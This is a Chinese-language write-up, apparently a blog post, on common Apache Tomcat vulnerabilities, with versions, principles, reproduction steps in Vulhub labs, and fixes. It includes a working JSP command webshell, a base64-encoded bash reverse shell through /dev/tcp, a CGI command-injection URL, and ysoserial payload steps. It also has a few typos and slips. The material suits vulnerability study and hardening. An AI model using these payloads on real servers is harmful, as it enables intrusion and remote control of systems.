Tomcat常见安全漏洞

Tomcat常见安全漏洞
Takake以下是Tomcat中间件的主要安全漏洞及其详细信息,基于公开披露的CVE编号和漏洞报告整理:
Tomcat常见漏洞汇总
1. 远程代码执行漏洞(CVE-2025-24813)
- 影响版本:
Apache Tomcat 9.0.0-M1 至 9.0.98
Apache Tomcat 10.1.0-M1 至 10.1.34
Apache Tomcat 11.0.0-M1 至 11.0.2 - 漏洞原理:
默认Servlet的写入功能启用后(默认禁用),攻击者可通过部分PUT请求上传恶意序列化会话文件,结合Tomcat的基于文件会话持久化机制触发反序列化,实现远程代码执行(RCE)或信息泄露。 - 修复建议:升级至Tomcat 9.0.99、10.1.35或11.0.3。
- 关键词:PUT文件上传、反序列化
2. PUT方法任意文件写入漏洞(CVE-2017-12615)
- 影响版本:
Apache Tomcat 7.0.0 – 7.0.81
Apache Tomcat 8.5.19(部分配置下) - 漏洞原理:
若web.xml
中readonly
参数设置为false
,攻击者可通过PUT请求上传恶意JSP文件(需绕过文件名限制,如/shell.jsp%20
),进而执行任意命令。 - 修复建议:保持
readonly
为默认值true
,禁用PUT方法。 - 关键词:PUT文件上传、文件名绕过
3. AJP协议文件包含漏洞(CVE-2020-1938,Ghostcat)
- 影响版本:
Tomcat 6全版本、Tomcat 7 < 7.0.100、Tomcat 8 < 8.5.51、Tomcat 9 < 9.0.31 - 漏洞原理:
AJP协议设计缺陷允许攻击者读取或包含Web应用目录下的任意文件(如WEB-INF/web.xml
)。若存在文件上传点,可结合文件包含实现RCE。 - 修复建议:关闭AJP服务或升级至安全版本。
- 关键词:8009端口、幽灵猫、文件包含
4. 远程代码执行漏洞(CVE-2019-0232)
- 影响版本:
Tomcat 7.0.0 – 7.0.93(Windows)
Tomcat 8.5.0 – 8.5.39(Windows)
Tomcat 9.0.0-M1 – 9.0.17(Windows) - 漏洞原理:
CGI Servlet中enableCmdLineArguments
启用时,Windows系统参数传递漏洞允许通过URL执行系统命令(如calc.exe
)。 - 修复建议:禁用CGI功能或升级至修复版本。
- 关键词:Windows、命令拼接
5. 弱口令与后台WAR包部署漏洞
- 影响版本:全版本(配置相关)
- 漏洞原理:
默认后台路径/manager/html
使用弱口令(如tomcat/tomcat
),攻击者可上传恶意WAR包(包含JSP木马),直接获取服务器控制权。 - 修复建议:禁用默认账号、强化密码策略,限制后台访问权限。
- 关键词:弱口令爆破、后台泄露
6. HTTP/2拒绝服务漏洞(CVE-2024-34750)
- 影响版本:
Tomcat 9.0.0-M1 – 9.0.89
Tomcat 10.1.0-M1 – 10.1.24
Tomcat 11.0.0-M1 – 11.0.0-M20 - 漏洞原理:
HTTP/2流处理异常导致连接无限超时,引发拒绝服务(DoS)。 - 修复建议:升级至Tomcat 9.0.90、10.1.25或11.0.0-M21。
7. 反序列化漏洞(CVE-2016-8735)
- 影响版本:
Tomcat 6.0.0 – 6.0.47
Tomcat 7.0.0 – 7.0.72
Tomcat 8.0.0-RC1 – 8.0.38
Tomcat 8.5.0 – 8.5.6
Tomcat 9.0.0-M1 – 9.0.0-M11 - 漏洞原理:
启用JmxRemoteLifecycleListener
监听时,攻击者通过反序列化漏洞执行任意代码(如利用Groovy库)。 - 修复建议:禁用JMX远程监听或升级至安全版本。
- 关键词:JMX、端口、反序列化
8. 样例目录信息泄露漏洞
- 影响版本:全版本
- 漏洞原理:
默认包含的/examples
目录允许未授权操作Session或泄露敏感信息。 - 修复建议:删除
webapps/examples
目录。
漏洞修复通用建议:
- 及时升级:关注Apache官方安全公告,更新至最新版本。
- 最小化配置:禁用不必要的协议(如AJP)、Servlet功能(如PUT、CGI)和默认示例。
- 权限控制:强化后台管理认证,避免使用默认凭据。
- 监控与防护:部署WAF、日志审计等安全措施。
更多细节可查阅相关漏洞报告来源(如CVE数据库或上述引用链接)。
1. 远程代码执行漏洞(CVE-2025-24813)
以下是关于 远程代码执行漏洞(CVE-2025-24813) 的详细分析,包括漏洞原理、复现流程及影响版本,综合了多个来源的公开信息:
漏洞原理
该漏洞源于 Apache Tomcat 在处理 PUT 请求时的路径等效性逻辑缺陷。具体而言,当应用程序启用了 DefaultServlet
的写入功能(默认关闭)且支持 Partial PUT 请求时,攻击者可通过构造恶意请求,将序列化的会话文件(含恶意代码)上传至 Tomcat 的默认会话存储目录。由于 Tomcat 的 文件会话持久化机制 未对上传文件名进行严格校验,攻击者可通过指定 JSESSIONID
触发反序列化操作,最终导致远程代码执行(RCE)或敏感信息泄露。
关键利用条件:
- 启用
DefaultServlet
写入功能(默认关闭); - 支持 Partial PUT 请求(默认开启);
- 使用 Tomcat 文件会话持久化且未修改默认会话存储路径;
- 目标环境依赖存在反序列化漏洞的库(如
commons-collections
)。
影响版本
- Apache Tomcat 9.x:9.0.0.M1 ≤ 受影响版本 ≤ 9.0.98
- Apache Tomcat 10.x:10.1.0-M1 ≤ 受影响版本 ≤ 10.1.34
- Apache Tomcat 11.x:11.0.0-M1 ≤ 受影响版本 ≤ 11.0.2
安全版本:
需升级至 Tomcat 9.0.99、10.1.35 或 11.0.3 以修复漏洞。
复现流程(理论推导)
由于漏洞利用条件复杂且涉及非默认配置,复现需以下步骤:
环境配置:
- 部署受影响版本的 Tomcat(如 9.0.98)。
- 在
web.xml
中启用DefaultServlet
的写入功能(设置readonly=false
)。 - 确保会话管理配置为 文件持久化(默认路径为
$CATALINA_BASE/work/SESSIONS.ser
)。
构造恶意请求:
- 通过 Partial PUT 请求上传恶意序列化文件至会话目录。例如: 需要发送的是反正的二进制数据
1
2
3
4PUT /xxxxx/session
Host: target.com
Content-Type: application/x-java-serialized-object
...(恶意序列化数据)...
- 利用文件名拼接或路径遍历绕过校验(如使用特殊字符或路径分隔符)。
- 通过 Partial PUT 请求上传恶意序列化文件至会话目录。例如: 需要发送的是反正的二进制数据
触发反序列化:
- 发送包含指定
JSESSIONID
的请求,触发 Tomcat 加载并反序列化恶意文件。
1
2
3GET /
Host: localhosst:8080
Cookie: JESSIONID=.xxxxx- 若目标环境中存在反序列化利用链(如
commons-collections
),可执行任意系统命令。
- 发送包含指定
修复建议
- 升级版本:立即升级至 Apache 官方修复版本(9.0.99/10.1.35/11.0.3);
- 禁用非必要功能:关闭
DefaultServlet
写入功能,限制 PUT 方法使用; - 会话管理优化:避免使用文件持久化,改用数据库或其他安全存储方式;
- 访问控制:限制外部对会话目录的访问,并监控异常文件上传行为。
补充说明
- 漏洞利用难度:实际攻击需满足多条件叠加,包括特定配置和依赖库,因此实际风险受限于目标环境配置。
- 攻击趋势:已观察到针对该漏洞的初步利用尝试,但多数为漏洞探测行为,尚未大规模爆发。
如需完整复现细节或工具脚本,可参考安全分析报告原文。
个评
- 该漏洞需要启用DefaultServlet功能,利用条件还是比较苛刻的。
- 但是利用难度其实并不高。
2.PUT方法任意文件写入漏洞(CVE-2017-12615)
以下是关于 PUT方法任意文件写入漏洞(CVE-2017-12615) 的详细分析,基于搜索结果整理:
漏洞原理
该漏洞源于 Apache Tomcat 的配置缺陷。当 Tomcat 的 conf/web.xml
文件中将 DefaultServlet
的 readonly
参数设置为 false
(默认值为 true
)时,攻击者可通过 HTTP PUT 方法 上传任意文件。尽管 Tomcat 默认禁止上传 .jsp
文件,但由于路径解析逻辑问题,攻击者可通过特殊文件名绕过限制(如添加 /
、空格或使用 Windows NTFS 流特性),上传恶意 JSP 文件并执行任意代码。
关键触发条件:
readonly
参数设置为false
;- 目标环境支持 HTTP PUT 方法;
- 攻击者能绕过文件名后缀限制(如
.jsp
)。
影响版本
- 主要受影响版本:
- Apache Tomcat 7.0.0 – 7.0.81;
- 部分配置下,Tomcat 8.5.19 也受影响(非默认配置);
- 安全版本:升级至 Tomcat 7.0.82 及以上。
复现流程
以下是基于 Vulhub 靶场环境的复现步骤:
1. 环境搭建
- 使用 Docker 启动漏洞环境(如 Vulhub 的
tomcat/CVE-2017-12615
):1
2cd vulhub/tomcat/CVE-2017-12615
docker-compose up -d
2. 构造恶意请求
- 绕过文件名限制:
- **添加斜杠
/
**:PUT /shell.jsp/ HTTP/1.1
; - **添加空格
%20
**:PUT /shell.jsp%20 HTTP/1.1
; - 使用 NTFS 流(Windows):
PUT /shell.jsp::$DATA HTTP/1.1
;
- **添加斜杠
- 上传 JSP 木马:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20PUT /shell.jsp/
Host: <target_ip>:8080
Content-Length: <length>
Content-Type: application/x-www-form-urlencoded
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
if ("pass".equals(request.getParameter("pwd"))) {
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream in = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(in));
String line;
while ((line = reader.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
3. 验证利用
- 访问上传的 JSP 文件(如
http://<target_ip>:8080/shell.jsp
),通过参数执行命令:1
http://<target_ip>:8080/shell.jsp?pwd=pass&cmd=whoami
4. 或者使用工具自动化
- 使用 Burp Suite 或 中国蚁剑 连接上传的木马文件,获取服务器控制权。
修复建议
- 配置修复:
- 将
conf/web.xml
中的readonly
参数恢复为默认值true
; - 禁用 HTTP PUT 方法(若业务无需使用)。
- 将
- 版本升级:升级至 Apache Tomcat 7.0.82 或更高版本。
- 安全加固:
- 删除默认示例目录(如
/examples
); - 限制上传文件类型,监控异常文件操作。
- 删除默认示例目录(如
补充说明
- 漏洞利用限制:
- 需目标服务器运行于 Windows 或支持特定文件名解析的 Linux 环境;
- 实际利用需结合目标配置(如
readonly=false
)。
- 攻击趋势:
该漏洞常被用于上传 WebShell 或结合其他漏洞扩大攻击面,需及时修复。
更多技术细节可参考相关漏洞报告及复现工具(如 Vulhub 环境)。
个评
该漏洞主要利用文件上传配合tomcat低版本时黑名单过滤不严谨,导致攻击者上传JSP文件,实现远程代码执行。
该漏洞,和上一个漏洞有一个共同点,都是通过PUT文件上传,然后执行恶意代码。不过一个是直接执行JSP代码,而另一个是通过反序列化漏洞来达成的命令执行。
3. AJP协议文件包含漏洞(CVE-2020-1938,Ghostcat)(幽灵猫)
以下是关于 AJP协议文件包含漏洞(CVE-2020-1938,Ghostcat) 的详细分析,结合漏洞原理、复现流程及影响版本,综合了多个可信来源的公开信息:
漏洞原理
该漏洞源于 Apache Tomcat AJP协议的设计缺陷。Tomcat默认配置中启用了AJP连接器(默认端口8009),用于与其他Web服务器(如Apache HTTP Server)通过AJP协议交互。攻击者可通过构造恶意AJP请求,操控以下三个关键属性:
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
通过控制这些属性,攻击者可绕过路径校验,读取或包含Web应用目录(如WEB-INF
)下的任意文件(如web.xml
、classes
文件等)。若目标服务器存在文件上传功能,攻击者可结合文件包含实现远程代码执行(RCE)。
关键触发条件:
- 目标Tomcat服务开启AJP协议端口(默认8009);
- 未配置AJP协议认证(如
secret
或requiredSecret
参数)。
影响版本
以下版本的Apache Tomcat受此漏洞影响:
- Tomcat 6.x:全版本
- Tomcat 7.x:7.0.0 ≤ 版本 < 7.0.100
- Tomcat 8.x:8.0.0 ≤ 版本 < 8.5.51
- Tomcat 9.x:9.0.0 ≤ 版本 < 9.0.31
安全版本:
- Tomcat 7.0.100+
- Tomcat 8.5.51+
- Tomcat 9.0.31+ 。
复现流程
环境搭建
- 部署漏洞环境:
- 使用受影响的Tomcat版本(如8.5.30),确保AJP端口(8009)开放。
- 默认配置文件
conf/server.xml
中需包含以下内容(未注释AJP连接器):1
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
攻击步骤
利用脚本读取任意文件:
- 使用公开的PoC脚本(如CNVD-2020-10487-Tomcat-Ajp-lfi.py):
1
python3 CVE-2020-1938.py <目标IP> -p 8009 -f WEB-INF/web.xml
- 成功执行后,可读取
WEB-INF/web.xml
等敏感文件。
- 使用公开的PoC脚本(如CNVD-2020-10487-Tomcat-Ajp-lfi.py):
结合文件上传实现RCE:
- 若存在文件上传点(如上传
exec.txt
至Web根目录):1
<% Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMS82MzAwMCAwPiYx}|{base64,-d}|{bash,-i}"); %>
- 包含该文件触发命令执行:
1
python3 CVE-2020-1938.py <目标IP> -p 8009 -f exec.txt --rce 1
- 成功后可获取反弹Shell或执行系统命令。
- 若存在文件上传点(如上传
修复建议
- 升级Tomcat版本:升级至安全版本(7.0.100+/8.5.51+/9.0.31+)。
- 禁用AJP协议:
- 注释或删除
conf/server.xml
中的AJP连接器配置:1
<!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->
- 注释或删除
- 配置AJP认证(若需保留AJP服务):
- 为AJP连接器添加
secret
(Tomcat 7/9)或requiredSecret
(Tomcat 8)参数:1
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" secret="YOUR_SECRET_KEY" />
- 为AJP连接器添加
- 网络隔离:限制AJP端口(8009)仅允许可信IP访问。
补充说明
- 漏洞别名:该漏洞因隐蔽性强被称为“幽灵猫(Ghostcat)”。
- 利用限制:
- 读取文件需路径精确(如
WEB-INF/web.xml
); - 远程代码执行需结合文件上传功能。
- 读取文件需路径精确(如
- 攻击趋势:曾发现针对该漏洞的大规模扫描行为,主要用于信息窃取和后续渗透。
如需完整复现脚本或技术细节,可参考上述引用来源中的GitHub仓库及漏洞分析报告。
个评
- 这个漏洞可以进行批量化扫描,因为基本上只要扫描到8009端口,同时使用POC去包含web-inf/web.xml文件,看能看到敏感信息。如果成功,那么就很有可能此存在幽灵猫漏洞,因此可以进行批量化利用。
- 这个漏洞的本质还是文件包含,通过对三个属性的配置绕过路径校验,进而包含WEB目录下的任意文件,不过需要结合文件上传进行利用,才能实现远程RCE,
4. 远程代码执行漏洞(CVE-2019-0232)
以下是关于 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232) 的详细分析,涵盖漏洞原理、利用条件、复现流程及影响版本,综合了多个可信来源的信息:
漏洞原理
该漏洞与 Tomcat 的 CGI Servlet 组件相关,具体由以下因素共同导致:
参数传递机制缺陷:
- 当启用
enableCmdLineArguments
参数时,CGI Servlet 会根据 URL 参数生成命令行参数,并通过Runtime.getRuntime().exec()
执行。 - Windows 平台特殊性:Java 的
exec()
方法在 Windows 中调用CreateProcess
函数处理命令,若参数为.bat
或.cmd
文件,会隐式调用cmd.exe
执行,导致参数解析逻辑与 Linux 不同。
- 当启用
命令注入漏洞:
- 由于 Java 未对参数进行转义,攻击者可通过构造包含特殊字符(如
&
、|
)的参数注入额外命令。例如,访问/cgi-bin/test.bat?&C:/Windows/System32/calc.exe
会触发计算器程序执行。
- 由于 Java 未对参数进行转义,攻击者可通过构造包含特殊字符(如
利用条件
漏洞利用需同时满足以下条件:
- 系统环境:
- 目标服务器运行 Windows 操作系统(Linux 不受影响)。
- Tomcat 配置:
- 启用 CGI Servlet(默认关闭);
- 启用
enableCmdLineArguments
参数(Tomcat 9.0+ 默认关闭); - 在
context.xml
中设置privileged="true"
以提升权限。
- 文件路径:
- 在
webapps/ROOT/WEB-INF
下创建cgi-bin
目录,并放置可执行的.bat
文件。
- 在
复现流程
环境搭建:
- 安装受影响的 Tomcat 版本(如 8.5.39)及 JDK,配置环境变量。
- 修改配置文件:
- web.xml:取消 CGI Servlet 注释,添加
enableCmdLineArguments
和executable
参数:1
2
3
4
5
6
7
8<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param> - context.xml:添加
privileged="true"
。
- web.xml:取消 CGI Servlet 注释,添加
创建恶意脚本:
- 在
cgi-bin
目录下创建hello.bat
,内容如下:1
2
3
4
5@echo off
echo Content-Type: text/plain
echo.
set foo=&~1
%foo%
- 在
执行攻击:
- 访问构造的 URL,注入系统命令:
1
http://<目标IP>:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
- 成功执行后,将弹出计算器或显示命令输出(如
ipconfig
)。
- 访问构造的 URL,注入系统命令:
影响版本
以下版本的 Apache Tomcat 受影响:
- Tomcat 7.x:7.0.0 – 7.0.93
- Tomcat 8.x:8.5.0 – 8.5.39
- Tomcat 9.x:9.0.0.M1 – 9.0.17
安全版本:
- Tomcat 7.0.94+
- Tomcat 8.5.40+
- Tomcat 9.0.18+(需注意 9.0.18 为候选版本,官方推荐 9.0.19+)
修复建议
- 升级版本:升级至安全版本(如 Tomcat 9.0.19+)。
- 禁用危险参数:
- 在
web.xml
中设置enableCmdLineArguments=false
。
- 在
- 最小化配置:
- 禁用 CGI Servlet(若无需使用);
- 删除或限制
cgi-bin
目录的访问权限。
- 权限控制:
- 避免在
context.xml
中启用privileged="true"
,除非必要。
- 避免在
补充说明
- 漏洞验证工具:可通过 Python 脚本自动化检测漏洞存在性(参考示例脚本)。
- 攻击趋势:该漏洞因利用条件苛刻(需特定配置)且仅限 Windows,实际攻击案例较少,但仍需警惕针对性攻击。
更多技术细节可参考上述引用来源中的复现步骤及分析报告。
个评
该漏洞利用难度并不高,只需要在URL拼接命令即可,但是利用条件相对苛刻,需要目标服务器上存在cgi-bin目录下存在已知的bat文件才可利用,否则无法利用。
一个非常重要的点,在漏洞原理中提到Windows 平台特殊性,在Windows环境下,exec()函数处理字符串的化默认处理使用CreateProcess函数处理命令,当函数为
.bat
或.cmd
文件时会隐式调用cmd.exe来执行命令,这时就可以直接利用命令拼接符号来凭借第二条命令,达成命令注入漏洞。
5. 弱口令与后台WAR包部署漏洞
以下是关于 Tomcat 弱口令与后台WAR包部署漏洞 的详细分析,综合了多个来源的公开信息:
漏洞原理
- 弱口令漏洞:
Tomcat 默认管理后台(路径/manager/html
)的用户配置文件为conf/tomcat-users.xml
。若管理员未修改默认账号(如tomcat/tomcat
)或使用弱密码,攻击者可通过暴力破解登录后台。 - WAR包部署漏洞:
Tomcat 支持通过管理界面上传 WAR(Web Application Archive)包并自动部署。攻击者可上传包含恶意 JSP 木马的 WAR 包,从而在服务器上执行任意代码或获取系统权限。
利用条件
- 配置缺陷:
- 管理后台允许远程访问(默认仅限本地访问,需手动修改
context.xml
解除限制)。 - 存在弱口令或默认凭据(如
tomcat/tomcat
、admin/admin
或空密码)。
- 管理后台允许远程访问(默认仅限本地访问,需手动修改
- 功能启用:
- 用户角色需具备
manager-gui
或manager-script
权限以访问部署功能。
- 用户角色需具备
影响版本
- 全版本 Tomcat:
漏洞风险与配置相关,非特定版本问题。但不同版本的默认行为有差异:- Tomcat 6.x:默认用户名为
admin
,密码为空,且无登录失败锁定机制。 - **Tomcat 7.x+**:默认无用户,需手动配置;若设置弱口令且允许远程访问,则存在风险。
- Tomcat 6.x:默认用户名为
复现流程
环境搭建:
- 使用 Docker 启动漏洞环境(如 Vulhub 的
tomcat8
镜像):1
2cd /vulhub/tomcat/tomcat8
docker-compose up -d - 修改
conf/tomcat-users.xml
,添加用户权限:1
2<role rolename="manager-gui"/>
<user username="tomcat" password="tomcat" roles="manager-gui,manager-script"/>
- 使用 Docker 启动漏洞环境(如 Vulhub 的
登录后台:
- 访问
http://<目标IP>:8080/manager/html
,使用弱口令登录。
- 访问
生成并上传 WAR 包:
- 将 JSP 木马(如冰蝎或哥斯拉)打包为 WAR 文件:
1
jar -cvf shell.war shell.jsp # 或使用 zip 重命名
- 通过管理界面上传 WAR 包,Tomcat 会自动解压并部署到
/webapps
目录。
- 将 JSP 木马(如冰蝎或哥斯拉)打包为 WAR 文件:
连接 Webshell:
- 访问部署路径(如
http://<目标IP>:8080/shell/shell.jsp
),使用工具(如冰蝎)连接并执行命令。
- 访问部署路径(如
修复建议
- 密码策略:
- 使用强密码(大小写字母、数字、特殊字符组合),禁用默认账号。
- 访问控制:
- 限制管理后台仅允许本地或可信 IP 访问(修改
context.xml
中的allow
字段)。
- 限制管理后台仅允许本地或可信 IP 访问(修改
- 功能禁用:
- 删除或重命名
manager
和host-manager
目录。
- 删除或重命名
- 权限分离:
- 使用低权限账户运行 Tomcat,避免
root
或管理员权限。
- 使用低权限账户运行 Tomcat,避免
补充说明
- 攻击趋势:该漏洞常被用于快速获取服务器权限,结合其他漏洞扩大攻击面。
- 自动化工具:攻击者常使用 Burp Suite 爆破弱口令,或利用 Metasploit 生成 WAR 木马。
更多技术细节可参考上述引用来源中的复现步骤及分析报告。
个评
- 一共有两种方式,一种是直接图像界面的部署方式,一种是通过put请求上传后进行进行部署。
6.反序列化漏洞(CVE-2016-8735)
以下是关于 Tomcat反序列化漏洞(CVE-2016-8735) 的详细分析,综合了多个可信来源的信息:
漏洞原理
该漏洞源于Tomcat的 JmxRemoteLifecycleListener 监听功能。当Tomcat配置使用JMX(Java Management Extensions)进行远程监控时,该监听器会默认启用AJP协议的JMX远程通信端口(默认未开放)。由于Tomcat未正确处理JMX请求中的反序列化数据,攻击者可通过构造恶意序列化对象发送至JMX端口,触发反序列化操作,从而执行任意代码(RCE)。
关键缺陷:
- 使用存在漏洞的JMX实现(与Oracle的CVE-2016-3427相关);
- 反序列化过程未对输入数据做安全校验,允许恶意对象被加载执行。
利用条件
漏洞利用需满足以下条件:
- 配置启用JMX远程监控:
- 在
conf/server.xml
中启用JmxRemoteLifecycleListener
监听器,并配置远程JMX端口(如默认未开放需手动开启)。
- 在
- 网络可达性:
- 攻击者需能访问Tomcat的JMX服务端口(默认不开放,需手动配置)。
- 依赖反序列化利用链:
- 目标环境中需存在可利用的反序列化库(如
commons-collections
)。
- 目标环境中需存在可利用的反序列化库(如
复现流程
环境搭建
- 部署受影响版本的Tomcat(如8.5.6):
1
2
3
4<!-- 在 conf/server.xml 中启用 JmxRemoteLifecycleListener -->
<Listener className="org.apache.catalina.mbeans.JmxRemoteLifecycleListener"
rmiRegistryPortPlatform="10001"
rmiServerPortPlatform="10002" /> - 启动Tomcat并开放JMX端口:
1
2CATALINA_OPTS="-Dcom.sun.management.jmxremote -Dcom.sun.management.jmxremote.port=9999 -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false"
./catalina.sh start
攻击步骤
- 生成恶意序列化Payload:
- 使用
ysoserial
工具生成利用链(如CommonsCollections2
):1
java -jar ysoserial.jar CommonsCollections2 "calc.exe" > payload.bin
- 使用
- 发送Payload至JMX端口:
- 通过工具(如
jmxinvoke
)将Payload发送至目标JMX端口(如9999)。
- 通过工具(如
- 触发反序列化:
- 成功执行后,目标服务器将执行注入的命令(如弹出计算器)。
影响版本
以下Apache Tomcat版本受此漏洞影响:
- Tomcat 9.x:9.0.0.M1 ≤ 版本 < 9.0.0.M12
- Tomcat 8.5.x:8.5.0 ≤ 版本 < 8.5.7
- Tomcat 8.0.x:8.0.0.RC1 ≤ 版本 < 8.0.39
- Tomcat 7.x:7.0.0 ≤ 版本 < 7.0.73
- Tomcat 6.x:全版本(官方已停止支持)。
安全版本:
- Tomcat 9.0.0.M12+
- Tomcat 8.5.7+
- Tomcat 8.0.39+
- Tomcat 7.0.73+
修复建议
- 升级至安全版本:优先升级到官方修复版本。
- 禁用JMX远程监听:
- 注释或删除
conf/server.xml
中的JmxRemoteLifecycleListener
配置。
- 注释或删除
- 网络隔离:限制JMX端口的访问权限,仅允许可信IP通信。
- 依赖库加固:移除或更新存在漏洞的反序列化库(如
commons-collections
)。
补充说明
- 漏洞利用难度:由于需手动配置JMX端口开放且依赖特定利用链,实际攻击门槛较高。
- 关联漏洞:该漏洞与Oracle的CVE-2016-3427相关,但Tomcat未及时合并修复补丁。
- 检测工具:可通过
nmap
扫描JMX端口(如9999)或使用漏洞扫描器(如Nessus)进行检测。
更多技术细节可参考Apache官方公告及漏洞分析报告。